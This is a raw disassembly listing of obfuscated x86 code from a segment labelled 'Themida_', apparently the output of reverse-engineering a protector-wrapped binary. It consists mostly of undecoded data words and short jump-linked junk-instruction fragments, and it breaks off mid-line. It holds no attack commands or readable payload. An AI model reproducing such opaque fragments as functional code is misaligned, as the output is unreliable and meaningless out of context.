0E9553521h dd 5707h, 4B850h, 0C3010000h, 89535258h, 2CA2E9E3h, 2C8B0000h dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 0FFB11BE9h dd 0B1E957FFh, 51FFFFE7h, 148ACB9h, 327DE945h, 515E0000h dd 24A6B850h, 0EF055D19h, 2D571518h, 2AD0428Fh, 80952E2Dh dd 58C1890Ch, 1AE9CF09h, 68000058h, 3509h, 0FFFE5DE9h dd 0E95358FFh, 0FFFFDC2Bh, 24048F5Ah, 0D324248Bh, 0E99C2424h dd 0FFFF97A6h ; --------------------------------------------------------------------------- loc_4FC56C: ; CODE XREF: Themida_:004F64FCj xor esi, 6C0C5EE2h jmp loc_4FB0A1 ; --------------------------------------------------------------------------- db 0F6h dd 0A6F480D4h, 3499E9h db 0 ; --------------------------------------------------------------------------- loc_4FC581: ; CODE XREF: Themida_:004FED75j neg eax or eax, 41E945DBh jmp loc_4FEA3D ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 990BE924h, 0EA81FFFFh, 37A99D69h, 565AD329h, 0E562A1BEh dd 5EF20109h, 705FBE56h, 0F2296215h, 8324348Bh, 60E904C4h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC5BB: ; CODE XREF: Themida_:004FA600j add esi, ebx pop ebx xchg esi, [esp] mov esp, [esp] or edx, eax shl edx, 1 push ebp push ecx mov ecx, 78046A95h sub ecx, 31B03DEAh jmp loc_4FD652 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 9C240410h, 0FF9729E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FC5E9: ; CODE XREF: Themida_:004FB459j mov bh, dl mov [edi+eax*4], bh mov ebx, [esp] sub esp, 4 mov [esp], esi jmp loc_4F8F07 ; --------------------------------------------------------------------------- db 5 dd 1F7752F2h, 84E9C829h, 8100003Ah, 0F805C6C3h, 81D30109h dd 0F805C6EBh, 2F58E909h, 814D0000h, 166F8BEDh, 881E93Dh dd 0BD550000h, 4FC102D2h, 4246C31h, 1576E9h, 0C09FB100h dd 0AFE908E1h, 31FFFFE1h, 0BD51E9EEh, 0E280FFFFh, 0A0F280FEh dd 5AD328h, 55FE9D8h, 74FF0000h, 78E90424h, 83FFFFAEh dd 0B95104C4h, 4, 5359CB01h, 42474FFh, 81241C8Bh, 4C4h dd 59E4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FC682: ; CODE XREF: Themida_:004FB1C2j xor ebx, 0C1DCAA21h add eax, ebx push dword ptr [esp] pop ebx add esp, 4 or eax, eax jnz loc_4F9459 push 1 push dword ptr [esp] jmp loc_4FA605 ; --------------------------------------------------------------------------- db 25h, 10h, 61h dd 0CF351836h, 0E9624A5Dh, 4742h, 42474FFh, 24048F5Dh dd 6624248Bh, 5724048Bh, 0F4685F54h, 89000008h, 68572434h dd 4A631C6Eh, 0FF96E5E9h, 5FFD89FFh, 13C5815Ah, 81BD34E9h dd 852C0EAh, 81EA0102h, 852C0C2h, 0EAE95D02h, 81000010h dd 4C4h, 4C48300h, 4EE81h, 34870000h, 0C895C24h, 0DF7BE924h dd 5F54FFFFh, 4C781h, 0E9530000h, 0FFFFCC86h, 4C2815Ah dd 83000000h, 0D1E904ECh db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC733: ; CODE XREF: Themida_:004FF67Ej mov [esp], edi mov edi, esp push ecx push 4 pop ecx add edi, ecx pop ecx add edi, 4 xchg edi, [esp] pop esp push edx push edx push esp pop edx add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_4F7F8B ; --------------------------------------------------------------------------- db 81h, 0CDh, 0DFh dd 0E95A9C1Ch, 4EBEh, 56E9C621h, 0ACFFFFBDh, 6BF068h, 24148900h dd 0D0002BB2h, 8B2434FFh, 35E92414h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FC78B: ; CODE XREF: Themida_:0050175Fj mov ecx, ebp jmp loc_4FBCA1 ; --------------------------------------------------------------------------- loc_4FC792: ; CODE XREF: Themida_:004FD980j add eax, ebp jmp loc_4F86EC ; --------------------------------------------------------------------------- loc_4FC799: ; CODE XREF: Themida_:004FB50Cj mov eax, 1CE219A5h and esi, eax pop eax push ebp mov ebp, 1 jmp loc_4FE04C ; --------------------------------------------------------------------------- dd 305BDA00h, 98C2E9D3h, 2CACFFFFh, 2C2604F0h, 52D82834h dd 5166B3B6h, 0EE00A8B5h, 0DAE95966h, 0B8FFFFC0h, 4, 8158C701h dd 4C7h, 74FF5700h, 3C8B0424h, 205EE924h, 0EE810000h, 0D6630640h dd 485EF009h, 0E9FE8796h, 4646h ; --------------------------------------------------------------------------- loc_4FC7FC: ; CODE XREF: Themida_:004F99EDj add ebx, 0FFBCEFEBh add esi, ebx mov ebx, [esp] add esp, 4 xchg esi, [esp] jmp loc_4F651C ; --------------------------------------------------------------------------- dw 0CB29h dd 83240C8Bh, 0DBF704C4h, 41B95156h, 8907C66Fh, 240C8BCEh dd 0FF9C0FE9h, 0E08950FFh, 405h, 4C08300h, 8B240487h, 0D3E92424h dd 66000018h, 66243431h, 66243433h, 66243431h, 2477E956h dd 952D0000h, 53034D52h, 0C381E389h, 4, 4EB81h, 1C870000h dd 3C895C24h, 81E78924h, 4C7h, 4EF8100h, 87000000h, 0E95C243Ch dd 4E40h, 240C8B66h, 77868h, 243C8900h, 81E28952h, 4C2h dd 4EA8100h, 0E9000000h, 0FFFFA358h, 4DE8E95Eh, 895C0000h dd 55E9240Ch, 88000018h, 0D7E95808h, 66FFFFEEh, 0F8E9F531h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FC8C7: ; CODE XREF: Themida_:004F693Cj xchg eax, [esp] mov esp, [esp] jmp loc_4F8ADE ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0E92434FFh, 0FFFFC3ABh, 54241C89h, 64EE9h dd 84E98100h, 1DB840Fh, 0EA8159CAh, 4, 5C241487h, 81242489h dd 42404h, 3C8B0000h, 4C48324h, 4C781h, 52550000h, 3168ACBAh dd 1ECA816Bh, 0E9472B47h, 0FFFF94B9h, 86B93B8h, 0E9C6014Fh dd 1EF5h, 95FF821h, 0D8840FC0h, 83FFFFAAh, 48904ECh, 0E685524h dd 5D06196Ch, 1679B951h, 0CD016E47h, 81240C8Bh, 4C4h, 53525600h dd 0FF9CA1E9h, 0BD5556FFh, 16EC7643h, 525DEE89h, 9A4291BAh dd 2EAC118h, 7BBDE281h, 814A5FE2h, 0FC1E5BEAh, 8EAC133h dd 0B1CEEA81h, 0D189B46Fh, 0EF9CE95Ah, 0E959FFFFh, 516Dh dd 8B24048Fh, 8C682424h, 0E9000040h, 0FFFFE2C3h, 0E924248Bh dd 0FFFFD409h ; --------------------------------------------------------------------------- loc_4FC9B0: ; CODE XREF: Themida_:004F7B58j sub [esp+4], edi pop edi sub dword ptr [esp], 634F64AFh push ecx push esi push edx mov edx, 0DFB42B8h inc edx jmp loc_50009F ; --------------------------------------------------------------------------- loc_4FC9CA: ; CODE XREF: Themida_:004FA99Dj pop esp jmp loc_4F8E14 ; --------------------------------------------------------------------------- dd 0B47DA7BFh, 0CA75BE55h, 0FE2959A2h, 0FFADD1E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FC9E1: ; CODE XREF: Themida_:004FA1C4j mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp add esp, 4 jmp loc_4F8982 ; --------------------------------------------------------------------------- dw 8B66h dd 68532404h, 56EFh, 50242489h, 488E9h, 0C8B25200h, 0FE04E2C0h dd 2E2C0CAh, 0E9D6C280h, 0FFFFF076h, 0E959CA29h, 446Ah ; --------------------------------------------------------------------------- loc_4FCA24: ; CODE XREF: Themida_:004F932Bj or ecx, 3C340848h add ecx, 0B65B8FDAh xor esi, ecx pop ecx xor ebx, esi pop esi add ebp, ebx pop ebx push esi push eax jmp loc_500D87 ; --------------------------------------------------------------------------- dd 24348966h, 4EC81h, 0CBE90000h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FCA4F: ; CODE XREF: Themida_:004F6C0Ej not ebx jmp loc_4F74E4 ; --------------------------------------------------------------------------- loc_4FCA56: ; CODE XREF: Themida_:004FCDC2j add ebp, 2DB45A28h pop eax add ebp, 4 xchg ebp, [esp] pop esp push ebx jmp loc_4F819D ; --------------------------------------------------------------------------- loc_4FCA6A: ; CODE XREF: Themida_:00500BEFj xor eax, ebp pop ebp shl eax, 3 jmp loc_4F6FE4 ; --------------------------------------------------------------------------- loc_4FCA75: ; CODE XREF: Themida_:004FAED6j sub edi, 0F4082B8Bh sub esi, edi pop edi jmp loc_4F997A ; --------------------------------------------------------------------------- db 66h dd 414BEB81h, 0E8AE9h, 42F76800h, 49E90000h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FCA97: ; CODE XREF: Themida_:004F9E5Aj push ecx mov ecx, 2 sub ebx, 1C4299h sub ebx, ecx add ebx, 1C4299h jmp loc_500762 ; --------------------------------------------------------------------------- loc_4FCAB0: ; CODE XREF: Themida_:004F7225j push esp jmp loc_5009F5 ; --------------------------------------------------------------------------- dw 0ED80h dd 80E500B7h, 0C580B7C5h, 30E95819h, 51FFFF98h, 0FFFE94E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FCACD: ; CODE XREF: Themida_:00500EADj pop esi xor esi, 18A948A1h mov eax, esi pop esi sub ebx, 70022E9h add ebx, eax push edi mov edi, 523D1172h xor edi, 6240592Ah sub edi, 530D6638h add edi, 47311F33h jmp loc_4FD0D5 ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFFC39Ch, 585450ACh, 0FFE503E9h, 0E9C201FFh dd 0FFFF927Ah, 240C8B66h, 8904EC83h, 0F3E9243Ch db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FCB23: ; CODE XREF: Themida_:004F9BD3j mov [esp], eax xchg edi, [esp] push edi mov edi, esp add edi, 4 push ecx mov ecx, 63C609D5h sub ecx, 63C609D1h sub edi, ecx mov ecx, [esp] add esp, 4 jmp loc_4F9A4C ; --------------------------------------------------------------------------- db 5Dh dd 4EC815Dh, 89000000h, 468241Ch, 5B000000h, 1C8BDD01h dd 4C48124h, 83000000h, 2C8704C5h, 0CFF5C24h, 9BE99C24h dd 81FFFF91h, 4EBh, 74FF5300h, 0F5E90424h, 89FFFFE2h, 24048BC3h dd 4C481h, 0DE090000h, 4698E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FCB9A: ; CODE XREF: Themida_:004FB5CCj mov esi, ebx jmp loc_4FF6C7 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 22A2E9h db 0 ; --------------------------------------------------------------------------- loc_4FCBA9: ; CODE XREF: Themida_:004F641Dj add eax, 4 jmp loc_4FF63D ; --------------------------------------------------------------------------- db 51h dd 0FFF8DAE9h, 0DE685BFFh, 0E9000047h, 0FFFF95BFh ; --------------------------------------------------------------------------- loc_4FCBC4: ; CODE XREF: Themida_:0050221Ej sub esp, 4 jmp loc_4FF87F ; --------------------------------------------------------------------------- db 0C1h dd 0B95108E0h, 536819F6h, 0FFD00BE9h, 5BDE01FFh, 24348758h dd 2424895Ch, 372DE950h, 0C4810000h, 4, 2AF168h, 240C8900h dd 8D17C5B9h, 3E1C178h, 1E981h, 0C9810000h, 64AF0A19h dd 8E1CF181h, 0CB29A93Dh, 0E92434FFh, 25C6h, 0EE81C601h dd 4AC259C4h, 5AC268h, 243C8900h, 43A3E9h db 0 ; --------------------------------------------------------------------------- loc_4FCC35: ; CODE XREF: Themida_:004FA29Bj add esp, 4 jmp loc_4F5D12 ; --------------------------------------------------------------------------- dd 592434FFh, 4B62E9h, 1FCF8100h, 81224B58h, 0B00125C7h dd 5FF801DDh, 5C240487h, 0E92424D3h, 38C7h, 0D1E9D021h dd 4FFFFE4h, 4446E96Fh, 575E0000h, 52E9E789h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FCC7B: ; CODE XREF: Themida_:004FD520j pop eax mov dl, bh pop ebx push 1E98h mov [esp], eax mov al, 25h or dl, al pop eax shl dl, 1 add dl, 7Eh add dl, 9Bh sub al, 0A2h add al, dl jmp loc_501491 ; --------------------------------------------------------------------------- db 57h, 68h, 55h dd 5F5E8A09h, 8108EFC1h, 0E634B9F7h, 0FCF8123h, 0F75EDE35h dd 0F5EF81D7h, 8168F351h, 5E731BC7h, 5FF8010Fh, 34B6E9h dd 0A4C18000h, 0E9C8285Bh, 0FFFFDB48h, 4245C01h, 0E92434FFh dd 0FFFFDDD1h, 815DEE29h, 0D8A9D3F6h, 3842C710h, 9D2DE7F4h dd 0FF387201h, 0E95E2434h, 5F7h, 53FBEF81h, 0EEE93CE1h dd 81FFFFF1h, 7FF344C6h, 5EF1017Dh, 4C181h, 0FF510000h dd 0E9042474h, 0FFFFE87Dh, 81E78957h, 4C7h, 4EF8100h, 87000000h dd 0E95C243Ch, 491Ch, 231AE981h, 0E6E92414h, 66FFFFC0h dd 5024048Bh, 405E089h, 83000000h, 48704E8h, 4895C24h dd 0E9E08924h, 2148h, 48B665Ch, 0E9565224h, 0FFFFB7CEh dd 0E985F680h, 0FFFF978Dh ; --------------------------------------------------------------------------- loc_4FCD74: ; CODE XREF: Themida_:004FC48Ej pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_4F5D12 ; --------------------------------------------------------------------------- dw 0C33h dd 240C3124h, 5C240C33h, 55E28952h, 4BDh, 5DEA0100h, 4BB53h dd 0DA010000h, 2414875Bh, 40BA525Ch, 81000000h, 0E76F8EC2h dd 0E9FA017Bh, 241h ; --------------------------------------------------------------------------- loc_4FCDBC: ; CODE XREF: Themida_:004FE9C0j add ebp, 39E81A4Bh jmp loc_4FCA56 ; --------------------------------------------------------------------------- db 81h dd 0CD50EDF5h, 0E9ED81E8h, 8127A523h, 1D0806F5h, 5DEF01E6h dd 8B243C87h, 0F7662424h, 0CA6866E9h, 14896624h, 9C506624h dd 0FFF250E9h, 0E9028FFFh, 0FFFF8F16h, 352A6866h, 3442E9h db 0 ; --------------------------------------------------------------------------- loc_4FCE05: ; CODE XREF: Themida_:004F97EAj pop ecx pop edx and eax, ebp pop ebp or eax, eax jz loc_4FB390 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp push esi mov esi, 4 sub edi, 531C7D2Ch push ecx mov ecx, 2EA3286Bh jmp loc_4F70CD ; --------------------------------------------------------------------------- db 0BDh, 0DBh, 5Bh dd 0DDF75506h, 2C14ED81h, 0C5811DAFh, 8DADB693h, 0E95DEA29h dd 0FFFFFCBDh, 414868h, 0B0D6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FCE5A: ; CODE XREF: Themida_:004F6F2Ej mov [esp], ecx mov ecx, 1C214D5h add eax, 5DE06D24h add eax, ecx sub eax, 5DE06D24h jmp loc_4F649A ; --------------------------------------------------------------------------- loc_4FCE73: ; CODE XREF: Themida_:004FF1E1j mov edi, ebx pop ebx not edi xor edi, 9AA2AE4h and edi, 573B02BDh jmp loc_4FF374 ; --------------------------------------------------------------------------- db 0FFh, 77h, 40h dd 0FFA500E9h, 4B8FFh, 0AE90000h, 1000031h, 58BB05F8h dd 3C8B3E31h, 32E95624h, 81FFFF97h, 0BE020DC5h, 85E5810Ch dd 811A1B4Dh, 903B74EDh, 5DE829C1h, 0E9241C8Bh, 22ABh dd 0F60DB450h, 38F480DCh, 0F626C480h, 87F480DCh, 0E958E188h dd 492Fh ; --------------------------------------------------------------------------- loc_4FCEE0: ; CODE XREF: Themida_:004FE0CEj push dword ptr [esp+4] mov ebp, [esp] jmp loc_4F6987 ; --------------------------------------------------------------------------- loc_4FCEEC: ; CODE XREF: Themida_:004FA0E0j mov edx, [esp] add esp, 4 add ebx, edi mov [ebx], edx mov ebx, [esp] add esp, 4 jmp loc_4F7F69 ; --------------------------------------------------------------------------- loc_4FCF01: ; CODE XREF: Themida_:004F70BAj and ecx, 69371AD8h push 3BAFh jmp loc_4FADF1 ; --------------------------------------------------------------------------- loc_4FCF11: ; CODE XREF: Themida_:004F6402j mov edx, 75126C45h xor [esp+4], edx mov edx, [esp] add esp, 4 push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], edi mov edi, 17790DFDh jmp loc_4F8954 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 4EC8304h, 5609E9h, 5B6600h, 796859E8h, 89000052h dd 0EFB22414h, 4EC81h, 86E90000h, 89FFFFD1h, 4C681E6h dd 0E9000000h, 45E9h, 0FA30D9B2h, 0EEB4505Bh, 0FFAF1AE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FCF79: ; CODE XREF: Themida_:004FB0E5j xor ebp, [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_4F92D2 ; --------------------------------------------------------------------------- dd 0E92434FFh, 5202h ; --------------------------------------------------------------------------- loc_4FCF90: ; CODE XREF: Themida_:00501A7Fj pop esi add esp, 4 and eax, edi pop edi or eax, eax jz loc_4F9459 push dword ptr [edi+28h] mov eax, [esp] jmp loc_500A2A ; --------------------------------------------------------------------------- dw 6866h dd 68665925h, 54667E25h, 24048F66h, 37E95566h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FCFBF: ; CODE XREF: Themida_:004FDC94j push ecx push ebp push 2163BF2h pop ebp xor ebp, 4EA7697Eh xor ebp, 4CB15288h mov ecx, ebp pop ebp sub esi, 27EF24B3h add esi, ecx add esi, 27EF24B3h pop ecx sub esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_4FA8DA ; --------------------------------------------------------------------------- loc_4FCFF3: ; CODE XREF: Themida_:004F85E2j mov ebx, 4 jmp loc_4F76A9 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9240489h, 15B5h, 5724048Fh, 4BFh, 246C8100h, 745E9404h dd 247C011Fh, 24448104h, 745E9404h, 505B5F1Fh, 0BB22DDB8h dd 0E9D0F779h, 0FFFFB804h, 0BA686659h, 14896670h, 0B2525124h dd 0D48850B8h, 48BE588h, 4C48124h, 8B000000h, 0A3E92414h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FD057: ; CODE XREF: Themida_:004FACE1j pop ecx mov edi, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_4FE29C ; --------------------------------------------------------------------------- aB3WNsuSs db 'ê}3>!W¿nsU&éS',0Dh,0 align 10h dd 5B2414F7h, 7A9BE381h, 814B0C16h, 0B82BADE3h, 0B3F3811Eh dd 0E95E3D2Ch, 0FFFFBC46h, 0AA392D48h, 0D1E97FB4h, 81FFFFC9h dd 6A70DCEDh, 0BF575E30h, 4, 29E9FD01h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD0BB: ; CODE XREF: Themida_:004FFF98j push 433F3607h mov edx, [esp] jmp loc_4FA752 ; --------------------------------------------------------------------------- loc_4FD0C8: ; CODE XREF: Themida_:004FB68Fj push 847h mov [esp], eax jmp loc_4FDBDC ; --------------------------------------------------------------------------- loc_4FD0D5: ; CODE XREF: Themida_:004FCAF7j add edi, 0E25F2196h add ebx, edi pop edi mov eax, [esp] add esp, 4 xor ebx, 52AE1B2Eh add ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_5005FF ; --------------------------------------------------------------------------- db 29h, 0D0h, 0E9h dd 0FFFFD1F5h, 0EF81DFF7h, 86549D36h, 0FFB54FE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FD111: ; CODE XREF: Themida_:004F8B31j xor edx, [esp] mov esp, [esp] shr eax, 18h xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx push 2C17h mov [esp], ecx xchg ebx, [esp] push 463Ah jmp loc_500AB3 ; --------------------------------------------------------------------------- db 1 dd 5904244Ch, 5324148Bh, 0C381E389h, 4, 0FF9040E9h, 0F2814AFFh dd 57CD1A11h, 36F5F281h, 0B9516B49h, 0C8686839h, 0FFF8B7E9h dd 48B66FFh, 2C48324h, 84E95666h, 8B00001Bh, 0C483242Ch dd 55BE5604h, 296F8300h, 0EF815EF7h, 25490E34h, 0AE9C701h dd 29000036h, 0F75F243Ch, 67F781D7h, 0E9715A0Eh, 0FFFFCC24h ; --------------------------------------------------------------------------- loc_4FD1A0: ; CODE XREF: Themida_:0050197Bj add dl, 12h xor dl, cl xor cl, dl xor dl, cl not cl push bx jmp loc_4F9361 ; --------------------------------------------------------------------------- loc_4FD1B2: ; CODE XREF: Themida_:004FA6C7j push ebx push 4705h jmp loc_4FD9E5 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4C7h, 243C8700h, 0FFD8015Ch, 3DE92434h, 80FFFFB2h dd 53E91FE5h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD1DF: ; CODE XREF: Themida_:004FA765j mov dh, 10h or dh, 0FBh inc dh xor dh, 7 sub ch, dh pop edx add bl, ch mov ecx, [esp] add esp, 4 add bl, 7Ch add bl, al sub esp, 4 jmp loc_4F6E6F ; --------------------------------------------------------------------------- loc_4FD207: ; CODE XREF: Themida_:004FADFCj sub ecx, 0F5F09991h add edx, 44293BE1h add edx, ecx sub edx, 44293BE1h push dword ptr [esp] mov ecx, [esp] jmp loc_4FC04A ; --------------------------------------------------------------------------- dw 8F64h dd 8AE4E902h, 0C33FFFFh, 240C3124h, 0E9240C33h, 34E5h ; --------------------------------------------------------------------------- loc_4FD23C: ; CODE XREF: Themida_:004F9794j push ebx push eax mov eax, 62C06752h xor eax, 770D3307h add eax, 536D6D76h jmp loc_4FDF22 ; --------------------------------------------------------------------------- dw 0D3F7h aBP8l db 'Ëp8L',0 dw 0C381h dd 0FC0664BEh, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 0BA241489h dd 43E974FCh, 0FFFDF2E9h, 0E0CA81FFh, 0E902BB59h, 0FFFFEB71h dd 0C003E680h, 0CEFE07EEh, 37EE80h, 0E95A5AF3h, 0FFFFC818h dd 240C8B66h, 81E28952h, 4C2h, 0EBBD5500h, 0E96C2F4Ah dd 0FFFFB9E0h ; --------------------------------------------------------------------------- loc_4FD2B4: ; CODE XREF: Themida_:004F8AD9j pop ebp loc_4FD2B5: ; CODE XREF: Themida_:004F9779j ; Themida_:004FBADAj push 37Ah mov [esp], edi push eax jmp loc_4F91FA ; --------------------------------------------------------------------------- loc_4FD2C3: ; CODE XREF: Themida_:0050275Fj push eax mov eax, 5E243E90h jmp loc_500785 ; --------------------------------------------------------------------------- dw 3FE9h dd 89FFFF8Ah, 0B951241Ch, 53B67146h, 79D9C181h, 0F1812474h dd 55A0FC7h, 757EC981h, 0B8E915E5h, 83FFFFC8h, 0E95704C4h dd 4E49h, 0FF2434FFh, 83592434h, 545704C4h, 0C0E9505Fh dd 81FFFFF4h, 0A36231EAh, 22E1E956h, 1C890000h, 8BB6624h dd 0B378E90Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD326: ; CODE XREF: Themida_:004FFBFAj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4FBECD ; --------------------------------------------------------------------------- db 0B8h, 7Ah, 4Bh dd 35402CA1h, 2CA14B7Fh, 158C189h, 20559C8h, 50000000h dd 42474FFh, 37B6E958h, 0C2810000h, 5CAB5113h, 0A1E9C229h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD363: ; CODE XREF: Themida_:004F753Aj mov [esp], ebx mov ebx, 0 add ebx, edx jmp loc_4F708B ; --------------------------------------------------------------------------- dw 0EA81h dd 0AE8CC859h, 815AD501h, 4EDh, 53DEE900h, 0C7810000h dd 4, 6804C783h, 394Dh, 0E9243C89h, 5157h ; --------------------------------------------------------------------------- loc_4FD39C: ; CODE XREF: Themida_:004FE297j sub eax, edi pop edi mov esi, eax jmp loc_4F875A ; --------------------------------------------------------------------------- dw 8DBDh dd 0F716241Dh, 93CD81DDh, 81788971h, 81B8AC5h, 0E9EF896Fh dd 0FFFFE09Eh, 0E904C483h, 1CF0h, 90EBE955h, 34FFFFFFh dd 61685824h, 89000062h, 0E2892414h, 4C281h, 56560000h dd 0FFA3AFE9h, 59E304FFh, 0D8289C2Ch, 9E049C04h, 30C968h dd 0C7E1E900h, 148BFFFFh, 4C48124h, 0E9000000h, 15FEh ; --------------------------------------------------------------------------- loc_4FD40C: ; CODE XREF: Themida_:004FBAFAj push 5D96h mov [esp], ebx mov ebx, 0FFFFFFFFh add ebp, 1D265976h jmp loc_4F6865 ; --------------------------------------------------------------------------- dd 0BF243C89h, 0D3F0BE6h, 94685650h, 5E374F04h, 2C93F681h dd 0F0894B85h, 685Eh, 0BBE90000h, 0AC000042h, 592C512Ch dd 5166D800h, 0E80059B5h, 68665966h, 8966790Eh, 51B22414h dd 2F12E9h, 0B7E95900h, 68000025h, 1EACh, 0FFCDF9E9h, 48B66FFh dd 0ED65E924h, 1433FFFFh, 24143124h, 8B241433h, 4302424h dd 35E99C24h, 66FFFFCFh, 6615F868h, 0C9E9E95Ah, 20C1FFFFh dd 0F9308107h, 0E93EC778h, 0FFFF9DE6h, 895EF531h, 47215DE8h dd 0F5E9581Ch, 89000007h, 0E189240Ch, 4EC81h, 1C890000h dd 46824h, 1C8B0000h, 4C48324h, 1F7CE9h, 81E18900h, 4C1h dd 4C18300h, 5C240C87h, 0FFC79DE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FD4ED: ; CODE XREF: Themida_:00500001j pop esp mov [esp], ebp push ecx mov ecx, 68734B4Fh jmp loc_5025AB ; --------------------------------------------------------------------------- loc_4FD4FC: ; CODE XREF: Themida_:0050060Dj push edx mov dl, 0C2h mov bl, dl pop edx xor al, bl pop bx sub esp, 4 mov [esp], edx push ebx mov bh, 5Fh push eax mov al, 0A7h dec al or al, 64h and al, 8Fh sub al, 0B5h or al, 0DCh add al, 2Ch sub bh, al jmp loc_4FCC7B ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 42Dh, 24048700h, 8924248Bh, 0AC682404h, 89000022h dd 4832424h, 57580424h, 4BFh, 0A557E900h, 3C89FFFFh, 8ABF6624h dd 0D704E94Bh, 55BFFFFh, 0D93C20h, 202DC801h, 5900D93Ch dd 4EC8355h, 0BE243489h, 2D7D2B66h, 8101EE83h, 3B7D7FEEh dd 1B9512Bh, 29000000h, 0E95759CEh, 0FFFF92E1h, 0E924048Bh dd 0FFFFE1A4h ; --------------------------------------------------------------------------- loc_4FD598: ; CODE XREF: Themida_:004F600Cj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp shl eax, cl sub esp, 4 mov [esp], esi push 3068h jmp loc_4F6F19 ; --------------------------------------------------------------------------- db 89h dd 0D568242Ch, 0E9477976h, 0FFFFD34Dh, 1BFh, 5FF80100h dd 56D0F748h, 7A2AAEBEh, 5EF03123h, 4FCDE9h, 48B6600h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_4FE2A4 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 0FFB330E9h, 9DBBDFFh, 0ED810288h, 92B7A740h, 2C8BEB01h dd 4EC8124h, 0E9000000h, 32B6h, 8105EBC1h, 0A32DE5C3h dd 0ACA1E9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD622: ; CODE XREF: Themida_:004FB47Dj add ebp, 4 add ebp, 4 jmp loc_4FFB41 ; --------------------------------------------------------------------------- db 47h dd 3220EF81h, 0B9516CF7h, 0A7A90035h, 159CF01h, 0D0295FF8h dd 0A63C642Dh, 4D71E94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FD652: ; CODE XREF: Themida_:004FC5D5j shr ecx, 5 xor ecx, 5FB04BE0h dec ecx jmp loc_4FED6F ; --------------------------------------------------------------------------- loc_4FD661: ; CODE XREF: Themida_:004FB1E6j mov [esp], ebp push ecx push 53B5377h pop ecx xor ecx, 1ACA7B10h mov ebp, ecx pop ecx xor [esp+4], ebp mov ebp, [esp] push ebx push esp jmp loc_4F8E00 ; --------------------------------------------------------------------------- loc_4FD682: ; CODE XREF: Themida_:004F61E9j add esp, 4 shr eax, 10h xor eax, ecx push eax xchg edx, [esp] not edx xchg edx, [esp] jmp loc_4FFF8F ; --------------------------------------------------------------------------- db 81h dd 5C7CE5C5h, 2C875A12h, 24248B24h, 2302E9h, 0C4685800h dd 8900004Eh, 55E9240Ch, 0BB00000Bh, 0F151EFCDh, 0E95BD989h dd 0FFFF886Ah, 8904EC83h, 5D54242Ch, 4B951h, 0C5810000h dd 2E9C12CEh, 468CD01h, 89000045h, 56B9240Ch, 4167FB64h dd 96E9E1D1h, 8100002Dh, 4C5h, 4ED8100h, 0E9000000h, 1F1Fh ; --------------------------------------------------------------------------- loc_4FD704: ; CODE XREF: Themida_:004FFFF1j push edi mov edi, 7A142AB1h jmp loc_4F7FC1 ; --------------------------------------------------------------------------- db 0BAh dd 1373150Ch, 0FFF54BE9h, 88D5F6FFh, 526659E8h, 0D0E9FDB2h dd 8100003Ch, 4C4h, 24148700h, 1E49E9h, 0C5815D00h, 7E6B59CAh dd 0F581454Dh, 0BA17731h, 0FFE40CE9h, 280904FFh, 0B36DE9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FD752: ; CODE XREF: Themida_:00500DDFj xchg ebx, [esp] mov esp, [esp] mov [esp], edx push ecx mov ecx, 55674CDCh shl ecx, 1 xor ecx, 29A87AE6h jmp loc_4F6E8C ; --------------------------------------------------------------------------- loc_4FD76E: ; CODE XREF: Themida_:004FA75Dj not edx jmp loc_4F5F65 ; --------------------------------------------------------------------------- db 58h, 0E9h, 4 dd 81000022h, 0D8C78FC6h, 5EF201A0h, 